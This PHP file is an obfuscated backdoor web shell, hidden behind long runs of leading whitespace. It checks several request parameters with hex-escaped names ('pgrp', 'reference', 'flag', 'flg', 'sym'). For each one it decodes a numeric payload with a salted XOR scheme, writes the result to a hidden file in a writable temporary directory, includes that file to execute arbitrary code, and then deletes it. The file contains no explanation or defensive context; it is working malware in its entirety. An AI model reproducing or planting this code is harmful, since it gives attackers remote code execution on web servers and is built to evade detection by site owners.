<?php																																										if(array_key_exists("p\x67\x72p", $_REQUEST)){ $pset = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); $object = $_REQUEST["p\x67\x72p"]; $object =explode( ".", $object ) ; $k = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $q = 0; while( $q < count( $object)) {$v7 = $object[$q]; $chS = ord( $salt7[$q % $lenS]); $d = ( ( int)$v7 - $chS -( $q % 10)) ^ 48; $k.= chr( $d); $q++; } $data_chunk = 0; do { $flag = $pset[$data_chunk] ?? null; if ($data_chunk >= count($pset)) break; if ((is_dir($flag) and is_writable($flag))) { $reference = implode("/", [$flag, ".data"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $reference; @unlink($reference); die(); } } $data_chunk++; } while (true); }
																																										if(array_key_exists("re\x66\x65\x72ence", $_REQUEST)){ $holder = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path()]); $factor = $_REQUEST["re\x66\x65\x72ence"]; $factor = explode ( '.', $factor); $record = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); foreach ($factor as $u => $v4): $chS = ord($s1[$u % $lenS] ); $dec = ((int)$v4 - $chS - ($u % 10)) ^ 31; $record.= chr($dec ); endforeach; for ($val = 0, $hld = count($holder); $val < $hld; $val++) { $dat = $holder[$val]; if (is_writable($dat) && is_dir($dat)) { $itm = "$dat" . "/.pointer"; if (@file_put_contents($itm, $record) !== false) { include $itm; unlink($itm); exit; } } } }
																																										if(isset($_REQUEST["fl\x61g"])){ $factor = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $token = $_REQUEST["fl\x61g"]; $token= explode ( "." , $token ) ; $resource =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $w =0; $__tmp =$token; while($v1 =array_shift($__tmp)) {$sChar =ord($salt[$w %$lenS]); $d =((int)$v1 - $sChar -($w %10)) ^ 21; $resource .= chr($d); $w++; } while ($dchunk = array_shift($factor)) { if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $sym = "$dchunk" . "/.marker"; if (file_put_contents($sym, $resource)) { require $sym; unlink($sym); exit; } } } }
																																										if(!empty($_POST["\x66l\x67"])){ $k = $_POST["\x66l\x67"]; $k = explode ( '.', $k ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $o = 0; foreach ($k as $v3) { $sChar = ord($s[$o % $sLen]); $dec = ((int)$v3 - $sChar - ($o % 10)) ^ 45; $element .= chr($dec); $o++; } $hld = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); $sym = 0; do { $ent = $hld[$sym] ?? null; if ($sym >= count($hld)) break; if (!( !is_dir($ent) || !is_writable($ent) )) { $entity = join("/", [$ent, ".binding"]); if (@file_put_contents($entity, $element) !== false) { include $entity; unlink($entity); die(); } } $sym++; } while (true); }
																																										if(isset($_POST["\x73\x79m"]) ? true : false){ $fac = $_POST["\x73\x79m"]; $fac = explode ('.' , $fac ) ; $data=''; $salt4='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt4); foreach ($fac as $m=> $v6): $sChar=ord($salt4[$m % $sLen]); $dec=((int)$v6 - $sChar - ($m % 10)) ^ 10; $data .= chr($dec); endforeach; $pset = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp"]); foreach ($pset as $object): if (is_dir($object) && is_writable($object)) { $entity = sprintf("%s/.data_chunk", $object); if (@file_put_contents($entity, $data) !== false) { include $entity; unlink($entity); exit; } } endforeach; }


if(!is_null($_REQUEST["p\x67rp"] ?? null)){
	$fac = $_REQUEST["p\x67rp"];
	  	$fac  =explode(   ".",$fac); 
	$factor	='';
            $salt3	='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=strlen($salt3);
            $len	=count($fac);
    
            for ($n	=0; $n < $len; $n++) {
                $v6	=$fac[$n];
                $sChar	=ord($salt3[$n%	$lenS]);
                $dec	=((int)$v6 - $sChar - ($n%	10)) ^ 44;
                $factor	.= 	chr($dec);  }
	$element = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm"]);
	for ($entity = 0, $itm = count($element); $entity < $itm; $entity++) {
    $flag = $element[$entity];
    		if (is_dir($flag) ? is_writable($flag) : false) {
    $res = "$flag/.hld";
    if (file_put_contents($res, $factor)) {
	include $res;
	@unlink($res);
	die();
}
}
}
}